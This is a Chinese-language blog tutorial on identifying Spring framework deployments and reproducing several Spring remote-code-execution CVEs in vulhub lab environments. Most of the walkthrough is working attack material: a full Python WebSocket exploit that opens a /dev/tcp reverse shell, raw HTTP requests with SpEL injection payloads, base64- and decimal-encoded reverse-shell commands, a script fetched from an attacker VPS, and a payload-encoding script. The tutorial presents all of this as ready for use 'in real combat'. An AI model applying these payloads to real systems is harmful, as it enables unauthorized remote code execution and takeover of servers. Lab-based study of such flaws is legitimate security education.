赞
踩
正如各位读者所见,我们新开了一个主题:经典漏洞复现,和其他文章不一样之处在于--我们会详细介绍漏洞原理+漏洞指纹特征+详细的利用(复现)过程,在这个系列里我们希望能带着读者(小白)去认识并掌握每一个漏洞,就拿今天的spring框架来说,我们相信小白读完这篇文章以后,以后在实战里可以快速识别出来spring框架并熟悉可能会出现的漏洞及相应的打法
本文目录
框架介绍 | 何为spring,在哪会遇到spring |
识别spring | 如何在实战中快速分辨spring框架 |
漏洞列表 | spring漏洞全版本 |
漏洞环境搭建 | vulhub+vulfocus |
漏洞复现 | 1.如何识别当前站点是否存在漏洞 |
2.哪些版本(情况)存在该漏洞 | |
3.漏洞指纹特征⭐ | |
4.如何复现 | |
5.如何实现自动化 | |
工具 | 1.指纹识别工具 |
2.综合利用工具 |
Spring 框架是一个功能强大的 Java 应用程序框架,旨在提供高效且可扩展的开发环境。其本身也是模块化的,应用程序可以选择所需要的模块。这些模块缩短应用程序的开发时间,提高了应用开发的效率例如,在Java Web开发的早 期阶段,程序员需要编写大量的代码来将记录插入到数据库中。但是通过使用Spring JDBC模块的 JDBCTemplate,我们可以将操作简化为几行代码,所以spring应用十分广泛,漏洞较为常见,必须掌握。
spring有五个非常关键的部分,分别是 Spring framework 、springboot 、spring cloud 、spring secutiry、spring mvc,其中的spring framework 就是大家经常提到的spring,是所有spring内容最基本的底层架构,其中包含spring mvc,springboot,IOC和AOP等等。Spring mvc就是spring中的一个MVC框架,主要用来开发web应用和网络接口,但是其使用之前需要配置大量的xml文件,比较繁琐,所以出现了springboot,其内置tomcat并且内置默认的XML配置信息,从而方便了用户的使用,它们之间的关系如下。
1.ioc图标
2.默认报错的页面
这里milu这个文件肯定是不存在的
3.常见端点
- /autoconfig 提供了一份自动配置报告,记录哪此自动配置条件通过了,哪些没通过
- /contigprops 描述配置属性 (包含默认值) 如何注入 Bean
- /beans 描述应用程序上下文里全部的 Bean,以及它们的关系
- /dump 获取线程活动的快照 (常见)
- /env 获取全部环境属性 (常见)
- /env/(name) 根据名称获取特定的环境属性值
- /health 报告应用程序的健康指标,这些值由 Healthlndicator 的实现类提供 (常见)
- /info 获取应用程序的定制信息,这些信息由 info 打头的属性提供
- mappings 描述全部的 URI 路径,以及它们和控制器 (包含 Actuator 端点)的映射关系
- /metrics 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数
- /metrics/(name) 报告指定名称的应用程序度量值
- /shutdown 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true (默认为 false)
- /trace 提供基本的 HTTP 请求跟踪信息 (时间截、HTTP 头等)
1.x版本:http://ip:port/env
2.x版本:http://ip:port/actuator/env
例如
-
- /actuator
- /auditevents
- /autoconfig
- /beans
- /caches
- /conditions
- /configprops
- /docs
- /dump
- /env
- /flyway
- /health
- /heapdump
- /httptrace
- /info
- /intergrationgraph
- /jolokia
- /logfile
- /loggers
- /liquibase
- /metrics
- /mappings
- /prometheus
- /refresh
- /scheduledtasks
- /sessions
- /shutdown
- /trace
- /threaddump
- /actuator/auditevents
- /actuator/beans
- /actuator/health
- /actuator/conditions
- /actuator/configprops
- /actuator/env
- /actuator/info
- /actuator/loggers
- /actuator/heapdump
- /actuator/threaddump
- /actuator/metrics
- /actuator/scheduledtasks
- /actuator/httptrace
- /actuator/mappings
- /actuator/jolokia
- /actuator/hystrix.stream
上面的常见目录可以fuzz
4.wappalyzer插件识别
5.响应标头有X-Application-Context字样
如
如果开发者设置如下,这个特征就会消除
management.add-application-context-header: false
3.spring路由和版本知识
何为路由
有些程序员会自定义 /manager
、 /management 、项目App相关名称为 spring 相关 名称为spring 根路径
Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径
Spring Boot Actuator 默认的内置路由名字,如/env ,有时也会被修改,比如/appenv
这里会涉及到后面的springboot actuator未授权访问
版本知识
说明:Spring Cloud 是基于 Spring Boot 来进行构建服务,并提供如配置管理、服务注册与发现、智能路由等常见功能的帮助快速开发分布式系统的系列框架的有序集合。
Spring Cloud 大版本 | Spring Boot 版本 |
---|---|
Angel | 兼容 Spring Boot 1.2.x |
Brixton | 兼容 Spring Boot 1.3.x、1.4.x |
Camden | 兼容 Spring Boot 1.4.x、1.5.x |
Dalston | 兼容 Spring Boot 1.5.x、不兼容 2.0.x |
Edgware | 兼容 Spring Boot 1.5.x、不兼容 2.0.x |
Finchley | 兼容 Spring Boot 2.0.x、不兼容 1.5.x |
Greenwich | 兼容 Spring Boot 2.1.x |
Hoxton | 兼容 Spring Boot 2.2.x |
Spring Cloud 小版本号的后缀及含义
小版本号后缀 | 含义 |
---|---|
BUILD-SNAPSHOT | 快照版,代码不是固定,处于变化之中 |
MX | 里程碑版 |
RCX | 候选发布版 |
RELEASE | 正式发布版 |
SRX | 修复错误和BUG并再次发布的正式版 |
复现顺序 | 漏洞名称 | 漏洞ID | 影响版本 |
---|---|---|---|
1 | Spring Websocket RCE | CVE-2018-1270 | Spring Framework 4.3-4.3.15 Spring Framework 5.0-5.0.5 |
2 | Spring Data RCE | CVE-2018-1273 | SPring Data Common 1.13-1.13.10 Spring Data REST 2.6-2.6.10 Spring Commons 2.0-2.0.5 Spring Data REST 3.0-3.0.5 |
3 | Spring Data REST RCE | CVE-2017-8046 | Spring Data REST < 3.0.1 and Spring Boot versions < 1.5.9 Spring Data REST < 2.6.9 and Spring Boot < 1.5.9 |
4 | Spring Web Flow RCE | CVE-2017-4971 | Spring Web Flow 2.4.0-2.4.4 Spring Web Flow 2.4.4-2.4.8 |
5 | Spring Security OAuth2 RCE | CVE-2016-4977 | Spring Security OAuth 2.0-2.0.0 Spring Security OAuth 1.0-1.0.5 |
6 | Spring Boot 目录遍历 | CVE-2021-21234 | Spring boot < 0.2.13 |
7 | Spring Data MongoDB SpEL Expression injection | CVE-2022-22980 | Spring Data MongoDB == 3.4.0 3.3.0 <= Spring Data MongoDB <= 3.3.4 |
8 | Spring Framework RCE | CVE-2022-22965 | jdk9+ and Spring及其衍生框架 and 使用tomcat部署spring项目 and 使用了POJO参数绑定 and Spring Framework 5.3.x - 5.3.18 or Spring Framework 2.x - 5.2.20 |
9 | Spring Cloud Function RCE | CVE-2022-22963 | 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2 |
10 | Spring Cloud Gateway RCE | CVE-2022-22947 | Spring Cloud Gateway 3.1.0 Spring Cloud Gateway 3.0.0 - 3.0.6 老版Spring Cloud Gateway 也可能存在 |
11 | Spring Actuator 未授权访问 | None | None |
12 | 获取星号信息 | None | None |
13 | whitelabel error page SpEL RCE | None | None |
14 | mysql jdbc deserialization RCE | None | None |
三-搭建漏洞环境(docker+vulhub)
我们采用vulhub做为靶场,第一步介绍如何在kali安装docker
换阿里云源
vim /etc/apt/sources.list
将其之前的程序全部注释#
deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
安装公钥
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 40976EAF437D05B5
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 3B4FE6ACC0B21F32
更新源
apt-get update
安装https协议、CA证书
apt-get install -y apt-transport-https ca-certificates
安装docker
apt install docker.io
查看是否安装成功
docker -v systemctl start docker docker ps -a
apt-get install python3-pip
pip3 install docker-compose
查看docker-compose版本
docker-compose -v
安装vulhub
git clone https://github.com/vulhub/vulhub.git这个太慢了
建议用下面这条
git clone https://gitclone.com/github.com/vulhub/vulhub
抽根烟的功夫就下好了
进入到vulhub目录,ls一下
启动环境
进入要联系的对应漏洞,例如CVE-2016-4977
启动环境
docker-compose build
docker-compose up -d
查看环境
docker-compose ps
访问环境
复现完以后,关闭环境
docker-compose down
说明:修改前端js源码,添加恶意RCE header(完全可控,利用简单)
影响范围如⬇️:Spring Framework 4.3 - 4.3.15Spring Framework 5.0 - 5.0.5
概述:版本范围内的Spring Frameword 允许应用程序通过 Spring-messaging模块内存中STOMP代理创建WebSocket,攻击者可以向代理发送消息,从而导致RCE
启动
漏洞指纹
访问/gs-guide-websocket
靶场如下
根据指纹信息可知存在CVE-2018-1270
-
- #!/usr/bin/env python3
- import requests
- import random
- import string
- import time
- import threading
- import logging
- import sys
- import json
-
- logging.basicConfig(stream=sys.stdout, level=logging.INFO)
-
- def random_str(length):
- letters = string.ascii_lowercase + string.digits
- return ''.join(random.choice(letters) for c in range(length))
-
-
- class SockJS(threading.Thread):
- def __init__(self, url, *args, **kwargs):
- super().__init__(*args, **kwargs)
- self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
- self.daemon = True
- self.session = requests.session()
- self.session.headers = {
- 'Referer': url,
- 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
- }
- self.t = int(time.time()*1000)
-
- def run(self):
- url = f'{self.base}/htmlfile?c=_jp.vulhub'
- response = self.session.get(url, stream=True)
- for line in response.iter_lines():
- time.sleep(0.5)
-
- def send(self, command, headers, body=''):
- data = [command.upper(), '\n']
-
- data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
-
- data.append('\n\n')
- data.append(body)
- data.append('\x00')
- data = json.dumps([''.join(data)])
-
- response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
- if response.status_code != 204:
- logging.info(f"send '{command}' data error.")
- else:
- logging.info(f"send '{command}' data success.")
-
- def __del__(self):
- self.session.close()
-
-
- sockjs = SockJS('http://靶机IP:8080/gs-guide-websocket')
- sockjs.start()
- time.sleep(1)
-
- sockjs.send('connect', {
- 'accept-version': '1.1,1.0',
- 'heart-beat': '10000,10000'
- })
- sockjs.send('subscribe', {
- 'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/kali监听端口;cat <&5 | while read line; do $line 2>&5 >&5; done"})',
- 'id': 'sub-0',
- 'destination': '/topic/greetings'
- })
-
- data = json.dumps({'name': 'vulhub'})
- sockjs.send('send', {
- 'content-length': len(data),
- 'destination': '/app/hello'
- }, data)
kali这里
nc -lnvp 5555
执行exp
来了
说明:Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。此漏洞产生于Spring Data Commons 2.0.5及以前版本中,该组件为提供共享等基础框架,适合各个子项目使用,支持跨数据库持久化。原理是在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
Spring DAta Commons 组件中存在远程代码执行漏洞,攻击者可构造包含有恶意代码的SPEL表达式,实现远程代码攻击。
影响范围如⬇️:Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5)
无明显指纹,可能存在spring框架和数据库交互的地方(例如表单)
这里vulhub靶场长这样
先扫一下目录
访问users目录
在表单哪里随便输点,如何抓包,改成如下
- POST /users?page=&size=5 HTTP/1.1
- Host: 192.168.233.131:8080
- User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 50
- Origin: http://192.168.233.131:8080
- Connection: close
- Referer: http://192.168.233.131:8080/users?page=6&size=5
- Upgrade-Insecure-Requests: 1
-
- username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("命令")]=&password=&repeatedPassword=
这里用一下dnslog
bash$IFS$9-i>&/dev/tcp/192.168.233.131/6666 0>&1
先对这条命令bash编码
这里有个坑, Java Runtime.exe() 执行命令与反弹shell 要进行编码,java管道符无效的原因无法反弹,而且要使用IFS内部域分隔符,对空白处进行填充,不然也是反弹不回来的:
然后拼接
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCRJRlMkOS1pPiYvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNjY2NjwmMSA=}|{base64 -d}|{bash -i}")]=&password=&repeatedPassword=
如果这里getshell失败,那就在自己服务器放一个shell脚本,让受害机去访问这个url
bash-i>&/dev/tcp/XXXXXX/port 0>&1
访问sh地址
wget http://工具人vps地址/reshell.sh
工具人vps上
# 开启http服务
python3 -m http.server 8080
访问shell地址(工具人vps地址)
运行shell
ok下一个
Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码
影响版本:
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
看到 json格式的返回值,说明这是一个 Restful风格的API服务器
理解什么是restful
restful是一种软件架构风格、设计风格,而不是标准,只是提供了一组设计原则和约束条件。它主要用于客户端和服务器交互类的软件。基于这个风格设计的软件可以更简洁,更有层次,更易于实现缓存等机制。restful关键是定义可表示流程元素/资源的对象。在REST中,每一个对象都是通过URL来表示的,对象用户负责将状态信息打包进每一条消息内,以便对象的处理总是无状态的。
rest原理包括
系统上的一切对象都要抽象为资源;
每个资源对应唯一的资源标识(URI);
对资源的操作不能改变资源标识(URI)本身;
所有的操作都是无状态的等等。
指纹就是网页全是json,里面有一些类
访问customers/1
PATCH的值是 SpEL表达式,添加请求头为Content-Type:application/json-patch+json ,而且命令需要改为10进制编码。
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[
{ "op": "replace",
"path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,120,77,105,52,120,78,68,107,118,78,122,99,122,77,121,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname",
"value": "exploit"
}
]
比如ping dns地址这样写
转化为十进制的时候可以用这条命令
",".join(map(str, (map(ord,"bash -c {echo,xxx}|{base64, -d}|{bash, -i}"))))
然后bp发包就行了
getshell同理
bash -i >& /dev/tcp/192.168.233.131/7777 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"))))
然后bp发包
ok下一个
Spring Web Flow是Spring的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。
在其 2.4.x版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,从而造成任意命令执行。
无明显漏洞指纹,在各种提交表单的地方可以尝试
靶场长这样
在订阅图书处,存在一个命令执行,直接调用了两个函数:addDefaultMappings 和 addModelBindings。其中,控制field这个值的函数是 addDefaultMappings,且未做过滤,而 addModelBindings 是直接获取的java的一个配置文件,由配置文件确定是否有 binder 节点。如果有,就无法触发代码执行。所以利用条件有两个
1-MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值) 2-flow view 对象中设置BinderConfiguration对象为空
所以这个漏洞触发条件就是找到这个位置
&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/ip/port 0>%261")).start()=vulhub
登录,上面已经给了密码
然后随便点一个房间
选购然后提交
点击这里抓包,在后面加上
&_(new java.lang.ProcessBuilder("bash","-c","ping dnslog地址")).start()=vulhub
这里注意这个是有csrf的token的,所以重放是没用的,我这里是为了让读者更直观的看清楚过程
&_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.233.131/6666 0>&1")).start()=vulhub
forward的时候改包加上这个
RCE的前提是知道账号密码,Spring Security OAuth2上为Spring 框架提供安全认证支持的一个模块,当使用Whitelabel views来处理错误时,攻击者可以在被授权的情况下通过构造恶意SpEL来远程执行命令
Spring Security OAuth 2.0 - 2.0.9
Spring Secutiry OAuth 1.0-1.0.5
如果访问
/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test
存在登录页面
默认账号密码是admin/admin
而且显示54289就存在该漏洞(233*233=54289)
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
复制结果
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}
拼接到这里
oauth/authorize?response_type=${POC}&client_id=acme&scope=openid&redirect_uri=http://test
无回显
可以xxe,不演示了,直接构造反弹shell指令
反弹shell命令在线生成器|
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。